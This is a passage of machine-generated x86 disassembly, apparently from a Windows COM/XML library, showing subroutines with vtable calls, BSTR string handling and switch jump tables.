call sub_69B8C45B
loc_69B8D3A6: ; CODE XREF: sub_69B8D25F+2Aj
; sub_69B8D25F+94j ...
push [ebp+arg_10]
mov esi, [esi+10h]
push [ebp+arg_C]
mov eax, [esi]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword ptr [eax+1Ch]
mov [ebp+var_8], eax
jmp loc_69B8D463
; ---------------------------------------------------------------------------
loc_69B8D3C3: ; CODE XREF: sub_69B8D25F+131j
push 0Dh
jmp short loc_69B8D3CE
; ---------------------------------------------------------------------------
loc_69B8D3C7: ; CODE XREF: sub_69B8D25F+10Cj
cmp byte ptr [esi+2Dh], 0
jnz short loc_69B8D3FC
push ecx
loc_69B8D3CE: ; CODE XREF: sub_69B8D25F+166j
push 0
jmp short loc_69B8D3F2
; ---------------------------------------------------------------------------
loc_69B8D3D2: ; CODE XREF: sub_69B8D25F+FEj
mov byte ptr [esi+2Dh], 1
jmp short loc_69B8D3FC
; ---------------------------------------------------------------------------
loc_69B8D3D8: ; CODE XREF: sub_69B8D25F+F9j
mov ecx, [esi+14h]
push eax
push edx
call sub_69B8B937
push eax
lea eax, [esi+24h]
push eax
call sub_69B17320
jmp short loc_69B8D3FC
; ---------------------------------------------------------------------------
loc_69B8D3EE: ; CODE XREF: sub_69B8D25F+F0j
push ecx
push dword ptr [edx+8]
loc_69B8D3F2: ; CODE XREF: sub_69B8D25F+171j
mov ecx, [eax+2Ch]
loc_69B8D3F5: ; CODE XREF: sub_69B8D25F+12Bj
push dword ptr [ebx]
call sub_69B8FACC
loc_69B8D3FC: ; CODE XREF: sub_69B8D25F+58j
; sub_69B8D25F+62j ...
push [ebp+arg_10]
mov eax, [esi+10h]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+1Ch]
test eax, eax
mov [ebp+var_8], eax
jl short loc_69B8D463
cmp dword ptr [edi+4], 1
jnz short loc_69B8D463
mov eax, [ebx]
mov ecx, [esi+14h]
push eax
lea eax, [esi+28h]
push eax
push dword ptr [edi+1Ch]
push 1
push [ebp+var_4]
call sub_69B8BC27
push eax
push ebx
call sub_69B17320
mov ecx, [esi+18h]
push dword ptr [ebx]
mov eax, [ecx]
call dword ptr [eax+4Ch]
mov eax, [esi+28h]
sub eax, 0
jz short loc_69B8D457
dec eax
dec eax
jnz short loc_69B8D463
add esi, 30h
jmp short loc_69B8D45A
; ---------------------------------------------------------------------------
loc_69B8D457: ; CODE XREF: sub_69B8D25F+1EDj
add esi, 20h
loc_69B8D45A: ; CODE XREF: sub_69B8D25F+1F6j
push dword ptr [edi+1Ch]
push esi
call sub_69B17320
loc_69B8D463: ; CODE XREF: sub_69B8D25F+31j
; sub_69B8D25F+15Fj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B8D25F endp
; =============== S U B R O U T I N E =======================================
sub_69B8D46D proc near ; CODE XREF: sub_69B8D4D5+2Fp
; sub_69B8D56F+51p
arg_0 = dword ptr 4
push esi
push edi
push 0
mov esi, ecx
mov ecx, [esi+14h]
push 0
push dword ptr [esi+34h]
lea edi, [esi+30h]
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [esp+1Ch+arg_0]
call sub_69B8BCA2
mov eax, [esi+1Ch]
cmp dword ptr [eax+18h], 0
jnz short loc_69B8D49E
mov dword ptr [esi+28h], 3
jmp short loc_69B8D4A9
; ---------------------------------------------------------------------------
loc_69B8D49E: ; CODE XREF: sub_69B8D46D+26j
push dword ptr [edi]
add esi, 20h
push esi
call sub_69B17320
loc_69B8D4A9: ; CODE XREF: sub_69B8D46D+2Fj
push 0
push edi
call sub_69B17320
pop edi
pop esi
retn 4
sub_69B8D46D endp
; =============== S U B R O U T I N E =======================================
sub_69B8D4B6 proc near ; DATA XREF: .text:off_69B2B1F4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8D12A
test [esp+4+arg_0], 1
jz short loc_69B8D4CE
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B8D4CE: ; CODE XREF: sub_69B8D4B6+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B8D4B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D4D5 proc near ; DATA XREF: .text:69B1499Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi+28h]
xor ebx, ebx
xor eax, eax
sub ecx, ebx
push edi
mov edi, [ebp+arg_8]
jz short loc_69B8D50F
dec ecx
jz short loc_69B8D50C
dec ecx
jz short loc_69B8D4F7
dec ecx
jz short loc_69B8D55B
jmp short loc_69B8D568
; ---------------------------------------------------------------------------
loc_69B8D4F7: ; CODE XREF: sub_69B8D4D5+1Bj
mov eax, [edi+1Ch]
cmp eax, [esi+30h]
jnz short loc_69B8D55B
push [ebp+arg_4]
mov ecx, esi
call sub_69B8D46D
mov [esi+28h], ebx
loc_69B8D50C: ; CODE XREF: sub_69B8D4D5+18j
mov [esi+28h], ebx
loc_69B8D50F: ; CODE XREF: sub_69B8D4D5+15j
push ebx
lea eax, [esi+24h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+20h]
push eax
call sub_69B17320
mov eax, [esi+1Ch]
cmp eax, ebx
mov [esi+2Ch], bl
jz short loc_69B8D55B
mov eax, [eax+18h]
cmp eax, ebx
jz short loc_69B8D55B
cmp dword ptr [edi+4], 1
jnz short loc_69B8D55B
push [ebp+arg_4]
mov ecx, eax
push dword ptr [esi+14h]
push dword ptr [edi+1Ch]
call sub_69B8C997
cmp [esi+2Fh], bl
jnz short loc_69B8D55B
mov eax, [esi+1Ch]
mov eax, [eax+18h]
mov eax, [eax+38h]
mov [edi+20h], eax
loc_69B8D55B: ; CODE XREF: sub_69B8D4D5+1Ej
; sub_69B8D4D5+28j ...
mov esi, [esi+10h]
mov eax, [esi]
push edi
push [ebp+arg_4]
push esi
call dword ptr [eax+10h]
loc_69B8D568: ; CODE XREF: sub_69B8D4D5+20j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B8D4D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D56F proc near ; DATA XREF: .text:69B149A0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_C]
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+10h]
mov ecx, [eax]
push edi
mov edi, [ebx+4]
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+14h]
test eax, eax
mov [ebp+arg_C], eax
jl loc_69B8D67E
mov eax, [esi+28h]
sub eax, 0
jz short loc_69B8D5C9
dec eax
jz short loc_69B8D5C5
dec eax
jz short loc_69B8D5AF
dec eax
jz short loc_69B8D604
jmp loc_69B8D67E
; ---------------------------------------------------------------------------
loc_69B8D5AF: ; CODE XREF: sub_69B8D56F+36j
mov eax, [ebx+1Ch]
cmp eax, [esi+30h]
jnz loc_69B8D67E
push [ebp+arg_4]
mov ecx, esi
call sub_69B8D46D
loc_69B8D5C5: ; CODE XREF: sub_69B8D56F+33j
and dword ptr [esi+28h], 0
loc_69B8D5C9: ; CODE XREF: sub_69B8D56F+30j
dec edi
dec edi
jz short loc_69B8D5D6
dec edi
jnz short loc_69B8D604
mov byte ptr [esi+2Dh], 0
jmp short loc_69B8D604
; ---------------------------------------------------------------------------
loc_69B8D5D6: ; CODE XREF: sub_69B8D56F+5Cj
mov byte ptr [esi+2Ch], 0
mov ecx, [ebx+1Ch]
test ecx, ecx
jz short loc_69B8D604
mov eax, [esi+1Ch]
test eax, eax
jz short loc_69B8D604
cmp dword ptr [eax+18h], 0
jz short loc_69B8D604
mov eax, [esi+24h]
test eax, eax
jz short loc_69B8D604
push 0
push eax
push dword ptr [esi+34h]
push ecx
push [ebp+arg_4]
call sub_69B4E634
loc_69B8D604: ; CODE XREF: sub_69B8D56F+39j
; sub_69B8D56F+5Fj ...
lea edi, [esi+1Ch]
mov eax, [edi]
test eax, eax
jz short loc_69B8D67E
mov ebx, [ebx+1Ch]
cmp [eax+1Ch], ebx
jnz short loc_69B8D67E
mov eax, [eax+18h]
test eax, eax
jz short loc_69B8D642
cmp [ebp+arg_8], 0
jz short loc_69B8D630
push [ebp+arg_4]
mov ecx, eax
push dword ptr [esi+14h]
push ebx
call sub_69B8C997
loc_69B8D630: ; CODE XREF: sub_69B8D56F+B1j
cmp [ebp+arg_8], 1
mov ecx, [esi+14h]
setz al
push eax
push dword ptr [edi]
call sub_69B8B2D6
loc_69B8D642: ; CODE XREF: sub_69B8D56F+ABj
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+48h]
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+40h]
test al, al
jz short loc_69B8D667
push 0
push edi
call sub_69B17320
mov dword ptr [esi+28h], 3
jmp short loc_69B8D67E
; ---------------------------------------------------------------------------
loc_69B8D667: ; CODE XREF: sub_69B8D56F+E5j
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
push edi
call sub_69B17320
mov eax, [edi]
mov eax, [eax+20h]
mov [esi+28h], eax
loc_69B8D67E: ; CODE XREF: sub_69B8D56F+24j
; sub_69B8D56F+3Bj ...
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B8D56F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D688 proc near ; CODE XREF: sub_69B8E37A+35p
; sub_69B8E5B4+7Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and [ebp+var_4], 0
lea edx, [ebp+var_4]
push edx
push offset dword_69B8D6B4
push eax
call dword ptr [ecx]
test eax, eax
jz short loc_69B8D6AB
push eax
call sub_69B2E8B8
loc_69B8D6AB: ; CODE XREF: sub_69B8D688+1Bj
mov eax, [ebp+var_4]
leave
retn 4
sub_69B8D688 endp
; ---------------------------------------------------------------------------
align 4
dword_69B8D6B4 dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
; =============== S U B R O U T I N E =======================================
sub_69B8D6C4 proc near ; CODE XREF: sub_69B8E5B4+148p
push 0Ch
push offset dword_69B8D738
call sub_69B19C5C
xor eax, eax
mov [ebp-1Ch], eax
mov [ebp-4], eax
push eax
push dword ptr [ebp+8]
call sub_69B2F944
pop ecx
pop ecx
mov [ebp-1Ch], eax
jmp short loc_69B8D718
; ---------------------------------------------------------------------------
loc_69B8D6E8: ; DATA XREF: .text:69B8D73Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8D6F1: ; DATA XREF: .text:69B8D740o
mov esp, [ebp-18h]
mov dword ptr [ebp-4], 1
push dword ptr [ebp+8]
call sub_69B1D411
mov [ebp-1Ch], eax
jmp short loc_69B8D714
; ---------------------------------------------------------------------------
loc_69B8D708: ; DATA XREF: .text:69B8D748o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8D711: ; DATA XREF: .text:69B8D74Co
mov esp, [ebp-18h]
loc_69B8D714: ; CODE XREF: sub_69B8D6C4+42j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B8D718: ; CODE XREF: sub_69B8D6C4+22j
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
call sub_69B2F2CA
add esp, 0Ch
call sub_69B1853C
retn 8
sub_69B8D6C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B8D738 dd 0FFFFFFFFh dd offset loc_69B8D6E8
dd offset loc_69B8D6F1
dd 0FFFFFFFFh
dd offset loc_69B8D708
dd offset loc_69B8D711
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D750 proc near ; CODE XREF: sub_69B5B558+66p
; sub_69B5B558+C1p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_C]
push ebx
mov [ebp+var_20], eax
xor eax, eax
xor ebx, ebx
cmp byte ptr [ebp+arg_14], bl
push esi
mov esi, [ebp+arg_0]
setnz al
lea ecx, [ebp+arg_14]
push ecx
push 1
push [ebp+arg_8]
mov [ebp+var_24], 24h
push [ebp+arg_4]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov eax, [ebp+arg_1C]
mov [ebp+var_10], eax
mov eax, [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, [ebp+arg_24]
mov [ebp+var_4], eax
lea eax, [ebp+var_24]
mov [ebp+arg_14], eax
mov eax, [esi]
push esi
mov [ebp+var_1C], ebx
mov [ebp+var_8], ebx
call dword ptr [eax+1Ch]
cmp eax, ebx
jnz short loc_69B8D7C6
cmp [ebp+arg_10], bl
jz short loc_69B8D7C6
cmp [ebp+var_8], ebx
jz short loc_69B8D7C6
mov eax, [esi]
lea ecx, [ebp+var_24]
push ecx
push [ebp+arg_4]
push esi
call dword ptr [eax+10h]
loc_69B8D7C6: ; CODE XREF: sub_69B8D750+5Dj
; sub_69B8D750+62j ...
mov ecx, [ebp+arg_28]
cmp ecx, ebx
jz short loc_69B8D7D2
mov edx, [ebp+var_8]
mov [ecx], edx
loc_69B8D7D2: ; CODE XREF: sub_69B8D750+7Bj
cmp eax, ebx
jz short loc_69B8D7E1
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B8D7E1: ; CODE XREF: sub_69B8D750+84j
pop esi
pop ebx
leave
retn 2Ch
sub_69B8D750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D7E7 proc near ; CODE XREF: sub_69B5B558+138p
; sub_69B5B558+182p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_C]
push esi
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
lea edx, [ebp+var_24]
push edx
push [ebp+arg_10]
mov [ebp+var_8], eax
mov eax, [ebp+arg_14]
push [ebp+arg_4]
xor esi, esi
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
mov [ebp+var_24], 24h
mov [ebp+var_1C], esi
mov [ebp+var_18], esi
mov [ebp+var_14], esi
mov [ebp+var_10], esi
mov [ebp+var_C], esi
call dword ptr [ecx+14h]
cmp eax, esi
jz short loc_69B8D83A
push esi
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B8D83A: ; CODE XREF: sub_69B8D7E7+46j
pop esi
leave
retn 18h
sub_69B8D7E7 endp
; =============== S U B R O U T I N E =======================================
sub_69B8D83F proc near ; CODE XREF: sub_69B8D899+7p
; sub_69B8DF85+16p
mov eax, [ecx+48h]
test eax, eax
jnz short loc_69B8D855
call sub_69B2FAF8
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B8D855: ; CODE XREF: sub_69B8D83F+5j
push 1
push eax
call sub_69B3156E
retn
sub_69B8D83F endp
; =============== S U B R O U T I N E =======================================
sub_69B8D85E proc near ; CODE XREF: sub_69B8ECE6+DFp
push esi
mov esi, ecx
mov ecx, [esi+48h]
test ecx, ecx
jz short loc_69B8D897
mov eax, [ecx]
call dword ptr [eax+44h]
push edi
loc_69B8D86E: ; CODE XREF: sub_69B8D85E+36j
mov ecx, [esi+48h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jz short loc_69B8D896
mov ecx, [esi+48h]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edx, [eax]
mov edi, [esi+14h]
mov ecx, eax
call dword ptr [edx+10h]
push eax
mov ecx, edi
call sub_69B8B17B
jmp short loc_69B8D86E
; ---------------------------------------------------------------------------
loc_69B8D896: ; CODE XREF: sub_69B8D85E+1Aj
pop edi
loc_69B8D897: ; CODE XREF: sub_69B8D85E+8j
pop esi
retn
sub_69B8D85E endp
; =============== S U B R O U T I N E =======================================
sub_69B8D899 proc near ; CODE XREF: sub_69B8ECE6+E6p
push ebx
mov ebx, ecx
mov ecx, [ebx+14h]
push edi
call sub_69B8D83F
mov edi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
test eax, eax
jz short loc_69B8D8FC
push esi
loc_69B8D8B3: ; CODE XREF: sub_69B8D899+60j
mov eax, [eax+30h]
test eax, eax
jz short loc_69B8D8F0
mov ecx, eax
call sub_69B8A4F3
mov esi, eax
test esi, esi
jz short loc_69B8D8F0
jmp short loc_69B8D8E5
; ---------------------------------------------------------------------------
loc_69B8D8C9: ; CODE XREF: sub_69B8D899+55j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [eax+10h]
test ecx, ecx
jz short loc_69B8D8E5
push 1
push eax
push dword ptr [ebx+68h]
push ecx
push 0
call sub_69B4E634
loc_69B8D8E5: ; CODE XREF: sub_69B8D899+2Ej
; sub_69B8D899+3Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8D8C9
loc_69B8D8F0: ; CODE XREF: sub_69B8D899+1Fj
; sub_69B8D899+2Cj
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
test eax, eax
jnz short loc_69B8D8B3
pop esi
loc_69B8D8FC: ; CODE XREF: sub_69B8D899+17j
pop edi
xor eax, eax
pop ebx
retn
sub_69B8D899 endp
; =============== S U B R O U T I N E =======================================
sub_69B8D901 proc near ; CODE XREF: sub_69B8BD72+B7p
; sub_69B8EE33+177p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, [esp+4+arg_8]
jz short loc_69B8D915
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+34h]
loc_69B8D915: ; CODE XREF: sub_69B8D901+Bj
mov eax, [esi]
test eax, eax
jz short loc_69B8D921
cmp word ptr [eax], 0
jnz short loc_69B8D939
loc_69B8D921: ; CODE XREF: sub_69B8D901+18j
mov eax, [esp+4+arg_4]
mov ecx, [eax+14h]
test ecx, ecx
jz short loc_69B8D939
call sub_69B2EFAD
mov ecx, [esp+4+arg_C]
mov [ecx], eax
mov [esi], eax
loc_69B8D939: ; CODE XREF: sub_69B8D901+1Ej
; sub_69B8D901+29j
pop esi
retn 10h
sub_69B8D901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D93D proc near ; CODE XREF: sub_69B8E35B+3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea ebx, [esi+0Ch]
push ebx
mov dword ptr [esi-4], offset off_69B149AC
mov dword ptr [esi], offset off_69B2B1F8
call sub_69B17320
lea eax, [esi+10h]
push edi
push eax
mov [ebp+var_4], eax
call sub_69B17320
lea eax, [esi+20h]
push edi
push eax
call sub_69B17320
lea eax, [esi+28h]
push edi
push eax
call sub_69B17320
lea eax, [esi+2Ch]
push edi
push eax
call sub_69B17320
lea eax, [esi+34h]
push edi
push eax
call sub_69B17320
lea eax, [esi+3Ch]
push edi
push eax
call sub_69B17320
lea eax, [esi+44h]
push edi
push eax
call sub_69B17320
lea eax, [esi+48h]
push edi
push eax
call sub_69B17320
lea eax, [esi+60h]
push edi
push eax
call sub_69B17320
lea eax, [esi+64h]
push edi
push eax
call sub_69B2DEB2
lea eax, [esi+68h]
push edi
push eax
call sub_69B17320
lea eax, [esi+68h]
push eax
call sub_69B17230
lea eax, [esi+64h]
push eax
call sub_69B2DEDD
lea eax, [esi+60h]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
add esi, 14h
push esi
call sub_69B17230
push [ebp+var_4]
call sub_69B17230
push ebx
call sub_69B17230
call sub_69B2C65C
pop edi
pop esi
pop ebx
leave
retn
sub_69B8D93D endp
; =============== S U B R O U T I N E =======================================
sub_69B8DA4B proc near ; DATA XREF: .text:69B149C4o
push 10h
push offset dword_69B8DB40
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-20h], ebx
mov esi, [ebp+8]
cmp [esi+3Dh], bl
jz loc_69B8DB1E
cmp [esi+2Ch], ebx
jz loc_69B8DB1E
mov [esi+3Dh], bl
mov eax, [ebp+0Ch]
mov ecx, [eax]
lea edx, [ebp-20h]
push edx
push eax
call dword ptr [ecx+2Ch]
cmp [ebp-20h], ebx
jz short loc_69B8DACE
mov [ebp-4], ebx
push dword ptr [ebp-20h] ; lpString
call sub_69B1A587
mov ecx, eax
mov [ebp-1Ch], ecx
call sub_69B2F43C
mov [ebp-1Ch], eax
push dword ptr [ebp-20h] ; BSTR
call SysFreeString
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B8DACE
; ---------------------------------------------------------------------------
loc_69B8DAB0: ; DATA XREF: .text:69B8DB44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8DAB9: ; DATA XREF: .text:69B8DB48o
mov esp, [ebp-18h]
push dword ptr [ebp-20h] ; BSTR
call SysFreeString
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov esi, [ebp+8]
loc_69B8DACE: ; CODE XREF: sub_69B8DA4B+3Cj
; sub_69B8DA4B+63j
cmp [ebp-1Ch], ebx
jnz short loc_69B8DADA
mov dword ptr [ebp-1Ch], offset off_69B1A5AC
loc_69B8DADA: ; CODE XREF: sub_69B8DA4B+86j
mov ecx, [esi+2Ch]
mov eax, [ecx]
call dword ptr [eax+3Ch]
push ebx
push dword ptr [ebp-1Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
push 0C00CE009h
call sub_69B2F944
add esp, 10h
mov ecx, [eax+0Ch]
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [ebp-20h], eax
mov ecx, [ebp+0Ch]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+14h]
push dword ptr [ebp-20h] ; BSTR
call SysFreeString
loc_69B8DB1E: ; CODE XREF: sub_69B8DA4B+1Aj
; sub_69B8DA4B+23j
mov esi, [esi+10h]
mov eax, [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+18h]
call sub_69B1853C
retn 14h
sub_69B8DA4B endp
; ---------------------------------------------------------------------------
align 10h
dword_69B8DB40 dd 0FFFFFFFFh dd offset loc_69B8DAB0
dd offset loc_69B8DAB9
; =============== S U B R O U T I N E =======================================
sub_69B8DB4C proc near ; DATA XREF: .text:69B149BCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi+70h]
xor eax, eax
test ecx, ecx
jl short loc_69B8DB98
cmp ecx, 2
jle short loc_69B8DB87
cmp ecx, 3
jz short loc_69B8DB9C
cmp ecx, 4
jz short loc_69B8DB87
push 5
pop edx
cmp ecx, edx
jz short loc_69B8DB78
cmp ecx, 6
jnz short loc_69B8DB98
mov [esi+70h], edx
loc_69B8DB78: ; CODE XREF: sub_69B8DB4C+22j
push 0
lea eax, [esi+24h]
push eax
call sub_69B17320
mov byte ptr [esi+3Ch], 0
loc_69B8DB87: ; CODE XREF: sub_69B8DB4C+11j
; sub_69B8DB4C+1Bj
push [esp+4+arg_8]
mov esi, [esi+10h]
push [esp+8+arg_4]
mov eax, [esi]
push esi
call dword ptr [eax+10h]
loc_69B8DB98: ; CODE XREF: sub_69B8DB4C+Cj
; sub_69B8DB4C+27j ...
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B8DB9C: ; CODE XREF: sub_69B8DB4C+16j
mov byte ptr [esi+3Ch], 0
jmp short loc_69B8DB98
sub_69B8DB4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8DBA2 proc near ; DATA XREF: sub_69B8E980+195o
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Bh
jz loc_69B8DC3D
cmp [ebp+arg_8], 13h
jz short loc_69B8DBE9 ; jumptable 69B8DBCA case 52
cmp [ebp+arg_8], 17h
jnz loc_69B8DC48 ; default
mov eax, [ebp+arg_C]
add eax, 0FFFFFFCEh ; switch 8 cases
cmp eax, 7
ja short loc_69B8DC48 ; default
jmp ds:off_69B8DC4E[eax*4] ; switch jump
loc_69B8DBD1: ; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 50
mov eax, [eax+2Ch]
mov byte ptr [eax+28h], 0
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DBDD: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 51
mov eax, [eax+2Ch]
mov byte ptr [eax+28h], 4
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DBE9: ; CODE XREF: sub_69B8DBA2+11j
; sub_69B8DBA2+28j
; DATA XREF: ...
mov eax, [ebp+arg_14] ; jumptable 69B8DBCA case 52
push dword ptr [eax+8]
mov eax, [ecx+30h]
mov ecx, [eax+2Ch]
call sub_69B8FF0A
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DBFC: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 53
mov ecx, [eax+2Ch]
call sub_69B8F674
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DC09: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 54
mov ecx, [eax+2Ch]
call sub_69B8F63D
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DC16: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 55
mov ecx, [eax+2Ch]
call sub_69B8FFB1
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DC23: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 56
mov ecx, [eax+2Ch]
call sub_69B8FFB9
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DC30: ; CODE XREF: sub_69B8DBA2+28j
; DATA XREF: .text:off_69B8DC4Eo
mov eax, [ecx+30h] ; jumptable 69B8DBCA case 57
mov ecx, [eax+2Ch]
call sub_69B8FFC1
jmp short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------
loc_69B8DC3D: ; CODE XREF: sub_69B8DBA2+7j
mov eax, [ecx+30h]
mov ecx, [eax+2Ch]
call sub_69B8F0F8
loc_69B8DC48: ; CODE XREF: sub_69B8DBA2+17j
; sub_69B8DBA2+26j ...
xor eax, eax ; default
pop ebp
retn 1Ch
sub_69B8DBA2 endp
; ---------------------------------------------------------------------------
off_69B8DC4E dd offset loc_69B8DBD1 ; DATA XREF: sub_69B8DBA2+28r
dd offset loc_69B8DBDD ; jump table for switch statement
dd offset loc_69B8DBE9
dd offset loc_69B8DBFC
dd offset loc_69B8DC09
dd offset loc_69B8DC16
dd offset loc_69B8DC23
dd offset loc_69B8DC30
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8DC6E proc near ; DATA XREF: sub_69B8E980+C7o
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 6
push esi
mov esi, ecx
jz short loc_69B8DCA8
cmp [ebp+arg_8], 0Dh
jnz short loc_69B8DCAE
mov eax, [esi+5Ch]
sub eax, 22h
jz short loc_69B8DC93
dec eax
